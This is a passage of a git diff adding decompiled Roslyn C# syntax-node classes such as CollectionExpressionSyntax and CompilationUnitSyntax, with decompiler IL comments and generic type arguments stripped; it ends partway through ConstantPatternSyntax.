b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CollectionElementSyntax.cs new file mode 100644 index 0000000..ee30820 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CollectionElementSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class CollectionElementSyntax : CSharpSyntaxNode +{ + internal CollectionElementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CollectionExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CollectionExpressionSyntax.cs new file mode 100644 index 0000000..6972b04 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CollectionExpressionSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CollectionExpressionSyntax : ExpressionSyntax +{ + private SyntaxNode? elements; + + public SyntaxToken OpenBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CollectionExpressionSyntax)(object)((SyntaxNode)this).Green).openBracketToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Elements + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref elements, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CollectionExpressionSyntax)(object)((SyntaxNode)this).Green).closeBracketToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal CollectionExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref elements, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return elements; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCollectionExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCollectionExpression(this); + } + + public CollectionExpressionSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList elements, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken != OpenBracketToken || elements != Elements || closeBracketToken != CloseBracketToken) + { + CollectionExpressionSyntax collectionExpressionSyntax = SyntaxFactory.CollectionExpression(openBracketToken, elements, closeBracketToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return collectionExpressionSyntax; + } + return collectionExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public CollectionExpressionSyntax WithOpenBracketToken(SyntaxToken openBracketToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openBracketToken, Elements, CloseBracketToken); + } + + public CollectionExpressionSyntax WithElements(SeparatedSyntaxList elements) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, elements, CloseBracketToken); + } + + public CollectionExpressionSyntax WithCloseBracketToken(SyntaxToken closeBracketToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, Elements, closeBracketToken); + } + + public CollectionExpressionSyntax AddElements(params CollectionElementSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithElements(Elements.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CommonForEachStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CommonForEachStatementSyntax.cs new file mode 100644 index 0000000..9a4b9b8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CommonForEachStatementSyntax.cs @@ -0,0 +1,90 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class CommonForEachStatementSyntax : StatementSyntax +{ + public abstract SyntaxToken AwaitKeyword { get; } + + public abstract SyntaxToken ForEachKeyword { get; } + + public abstract SyntaxToken OpenParenToken { get; } + + public abstract SyntaxToken InKeyword { get; } + + public abstract ExpressionSyntax Expression { get; } + + public abstract SyntaxToken CloseParenToken { get; } + + public abstract StatementSyntax Statement { get; } + + internal CommonForEachStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public CommonForEachStatementSyntax WithAwaitKeyword(SyntaxToken awaitKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAwaitKeywordCore(awaitKeyword); + } + + internal abstract CommonForEachStatementSyntax WithAwaitKeywordCore(SyntaxToken awaitKeyword); + + public CommonForEachStatementSyntax WithForEachKeyword(SyntaxToken forEachKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithForEachKeywordCore(forEachKeyword); + } + + internal abstract CommonForEachStatementSyntax WithForEachKeywordCore(SyntaxToken forEachKeyword); + + public CommonForEachStatementSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithOpenParenTokenCore(openParenToken); + } + + internal abstract CommonForEachStatementSyntax WithOpenParenTokenCore(SyntaxToken openParenToken); + + public CommonForEachStatementSyntax WithInKeyword(SyntaxToken inKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithInKeywordCore(inKeyword); + } + + internal abstract CommonForEachStatementSyntax WithInKeywordCore(SyntaxToken inKeyword); + + public CommonForEachStatementSyntax WithExpression(ExpressionSyntax expression) + { + return WithExpressionCore(expression); + } + + internal abstract CommonForEachStatementSyntax WithExpressionCore(ExpressionSyntax expression); + + public CommonForEachStatementSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithCloseParenTokenCore(closeParenToken); + } + + internal abstract CommonForEachStatementSyntax WithCloseParenTokenCore(SyntaxToken closeParenToken); + + public CommonForEachStatementSyntax WithStatement(StatementSyntax statement) + { + return WithStatementCore(statement); + } + + internal abstract CommonForEachStatementSyntax WithStatementCore(StatementSyntax statement); + + public new CommonForEachStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (CommonForEachStatementSyntax)WithAttributeListsCore(attributeLists); + } + + public new CommonForEachStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + return (CommonForEachStatementSyntax)AddAttributeListsCore(items); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CompilationUnitSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CompilationUnitSyntax.cs new file mode 100644 index 0000000..557bba9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CompilationUnitSyntax.cs @@ -0,0 +1,244 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CompilationUnitSyntax : CSharpSyntaxNode, ICompilationUnitSyntax +{ + private SyntaxNode? externs; + + private SyntaxNode? usings; + + private SyntaxNode? attributeLists; + + private SyntaxNode? members; + + internal bool HasReferenceDirectives => HasFirstTokenDirective((SyntaxNode n) => n is ReferenceDirectiveTriviaSyntax); + + internal bool HasLoadDirectives => HasFirstTokenDirective((SyntaxNode n) => n is LoadDirectiveTriviaSyntax); + + public SyntaxList Externs => new SyntaxList(((SyntaxNode)this).GetRed(ref externs, 0)); + + public SyntaxList Usings => new SyntaxList(((SyntaxNode)this).GetRed(ref usings, 1)); + + public SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 2)); + + public SyntaxList Members => new SyntaxList(((SyntaxNode)this).GetRed(ref members, 3)); + + public SyntaxToken EndOfFileToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CompilationUnitSyntax)(object)((SyntaxNode)this).Green).endOfFileToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public IList GetReferenceDirectives() + { + return GetReferenceDirectives(null); + } + + internal IList GetReferenceDirectives(Func? filter) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (!((SyntaxNode)this).ContainsDirectives) + { + return SpecializedCollections.EmptyList(); + } + SyntaxNodeOrToken val = SyntaxNodeOrToken.op_Implicit(GetFirstToken(includeZeroWidth: true)); + return ((SyntaxNodeOrToken)(ref val)).GetDirectives(filter); + } + + public IList GetLoadDirectives() + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (!((SyntaxNode)this).ContainsDirectives) + { + return SpecializedCollections.EmptyList(); + } + SyntaxNodeOrToken val = SyntaxNodeOrToken.op_Implicit(GetFirstToken(includeZeroWidth: true)); + return ((SyntaxNodeOrToken)(ref val)).GetDirectives((Func)null); + } + + private bool HasFirstTokenDirective(Func predicate) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + if (((SyntaxNode)this).ContainsDirectives) + { + SyntaxToken firstToken = GetFirstToken(includeZeroWidth: true); + if (((SyntaxToken)(ref firstToken)).ContainsDirectives) + { + SyntaxTriviaList leadingTrivia = ((SyntaxToken)(ref firstToken)).LeadingTrivia; + Enumerator enumerator = ((SyntaxTriviaList)(ref leadingTrivia)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxTrivia current = ((Enumerator)(ref enumerator)).Current; + SyntaxNode structure = ((SyntaxTrivia)(ref current)).GetStructure(); + if (structure != null && predicate(structure)) + { + return true; + } + } + } + } + return false; + } + + internal CompilationUnitSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref externs), + 1 => ((SyntaxNode)this).GetRed(ref usings, 1), + 2 => ((SyntaxNode)this).GetRed(ref attributeLists, 2), + 3 => ((SyntaxNode)this).GetRed(ref members, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => externs, + 1 => usings, + 2 => attributeLists, + 3 => members, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCompilationUnit(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCompilationUnit(this); + } + + public CompilationUnitSyntax Update(SyntaxList externs, SyntaxList usings, SyntaxList attributeLists, SyntaxList members, SyntaxToken endOfFileToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + if (externs != Externs || usings != Usings || attributeLists != AttributeLists || members != Members || endOfFileToken != EndOfFileToken) + { + CompilationUnitSyntax compilationUnitSyntax = SyntaxFactory.CompilationUnit(externs, usings, attributeLists, members, endOfFileToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return compilationUnitSyntax; + } + return compilationUnitSyntax.WithAnnotations(annotations); + } + return this; + } + + public CompilationUnitSyntax WithExterns(SyntaxList externs) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(externs, Usings, AttributeLists, Members, EndOfFileToken); + } + + public CompilationUnitSyntax WithUsings(SyntaxList usings) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(Externs, usings, AttributeLists, Members, EndOfFileToken); + } + + public CompilationUnitSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(Externs, Usings, attributeLists, Members, EndOfFileToken); + } + + public CompilationUnitSyntax WithMembers(SyntaxList members) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(Externs, Usings, AttributeLists, members, EndOfFileToken); + } + + public CompilationUnitSyntax WithEndOfFileToken(SyntaxToken endOfFileToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(Externs, Usings, AttributeLists, Members, endOfFileToken); + } + + public CompilationUnitSyntax AddExterns(params ExternAliasDirectiveSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithExterns(Externs.AddRange((IEnumerable)items)); + } + + public CompilationUnitSyntax AddUsings(params UsingDirectiveSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithUsings(Usings.AddRange((IEnumerable)items)); + } + + public CompilationUnitSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + public CompilationUnitSyntax AddMembers(params MemberDeclarationSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(Members.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConditionalAccessExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConditionalAccessExpressionSyntax.cs new file mode 100644 index 0000000..9331048 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConditionalAccessExpressionSyntax.cs @@ -0,0 +1,87 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ConditionalAccessExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + private ExpressionSyntax? whenNotNull; + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRedAtZero(ref expression); + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConditionalAccessExpressionSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ExpressionSyntax WhenNotNull => ((SyntaxNode)this).GetRed(ref whenNotNull, 2); + + internal ConditionalAccessExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref expression), + 2 => ((SyntaxNode)this).GetRed(ref whenNotNull, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => expression, + 2 => whenNotNull, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConditionalAccessExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConditionalAccessExpression(this); + } + + public ConditionalAccessExpressionSyntax Update(ExpressionSyntax expression, SyntaxToken operatorToken, ExpressionSyntax whenNotNull) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (expression != Expression || operatorToken != OperatorToken || whenNotNull != WhenNotNull) + { + ConditionalAccessExpressionSyntax conditionalAccessExpressionSyntax = SyntaxFactory.ConditionalAccessExpression(expression, operatorToken, whenNotNull); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return conditionalAccessExpressionSyntax; + } + return conditionalAccessExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public ConditionalAccessExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(expression, OperatorToken, WhenNotNull); + } + + public ConditionalAccessExpressionSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Expression, operatorToken, WhenNotNull); + } + + public ConditionalAccessExpressionSyntax WithWhenNotNull(ExpressionSyntax whenNotNull) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Expression, OperatorToken, whenNotNull); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConditionalDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConditionalDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..33be112 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConditionalDirectiveTriviaSyntax.cs @@ -0,0 +1,22 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class ConditionalDirectiveTriviaSyntax : BranchingDirectiveTriviaSyntax +{ + public abstract ExpressionSyntax Condition { get; } + + public abstract bool ConditionValue { get; } + + internal ConditionalDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public ConditionalDirectiveTriviaSyntax WithCondition(ExpressionSyntax condition) + { + return WithConditionCore(condition); + } + + internal abstract ConditionalDirectiveTriviaSyntax WithConditionCore(ExpressionSyntax condition); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConditionalExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConditionalExpressionSyntax.cs new file mode 100644 index 0000000..ee1e4e8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConditionalExpressionSyntax.cs @@ -0,0 +1,115 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ConditionalExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? condition; + + private ExpressionSyntax? whenTrue; + + private ExpressionSyntax? whenFalse; + + public ExpressionSyntax Condition => ((SyntaxNode)this).GetRedAtZero(ref condition); + + public SyntaxToken QuestionToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConditionalExpressionSyntax)(object)((SyntaxNode)this).Green).questionToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ExpressionSyntax WhenTrue => ((SyntaxNode)this).GetRed(ref whenTrue, 2); + + public SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConditionalExpressionSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public ExpressionSyntax WhenFalse => ((SyntaxNode)this).GetRed(ref whenFalse, 4); + + internal ConditionalExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref condition), + 2 => ((SyntaxNode)this).GetRed(ref whenTrue, 2), + 4 => ((SyntaxNode)this).GetRed(ref whenFalse, 4), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => condition, + 2 => whenTrue, + 4 => whenFalse, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConditionalExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConditionalExpression(this); + } + + public ConditionalExpressionSyntax Update(ExpressionSyntax condition, SyntaxToken questionToken, ExpressionSyntax whenTrue, SyntaxToken colonToken, ExpressionSyntax whenFalse) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (condition != Condition || questionToken != QuestionToken || whenTrue != WhenTrue || colonToken != ColonToken || whenFalse != WhenFalse) + { + ConditionalExpressionSyntax conditionalExpressionSyntax = SyntaxFactory.ConditionalExpression(condition, questionToken, whenTrue, colonToken, whenFalse); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return conditionalExpressionSyntax; + } + return conditionalExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public ConditionalExpressionSyntax WithCondition(ExpressionSyntax condition) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(condition, QuestionToken, WhenTrue, ColonToken, WhenFalse); + } + + public ConditionalExpressionSyntax WithQuestionToken(SyntaxToken questionToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Condition, questionToken, WhenTrue, ColonToken, WhenFalse); + } + + public ConditionalExpressionSyntax WithWhenTrue(ExpressionSyntax whenTrue) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Condition, QuestionToken, whenTrue, ColonToken, WhenFalse); + } + + public ConditionalExpressionSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(Condition, QuestionToken, WhenTrue, colonToken, WhenFalse); + } + + public ConditionalExpressionSyntax WithWhenFalse(ExpressionSyntax whenFalse) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(Condition, QuestionToken, WhenTrue, ColonToken, whenFalse); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConstantPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConstantPatternSyntax.cs new file mode 100644 index 0000000..f667593 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConstantPatternSyntax.cs @@ -0,0 +1,63 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ConstantPatternSyntax : PatternSyntax +{ + private ExpressionSyntax? expression; + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRedAtZero(ref expression); + + internal ConstantPatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref expression); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConstantPattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConstantPattern(this); + } + + public ConstantPatternSyntax Update(ExpressionSyntax expression) + { + if (expression != Expression) + { + ConstantPatternSyntax constantPatternSyntax = SyntaxFactory.ConstantPattern(expression); + SyntaxAnnotation[] annotations = 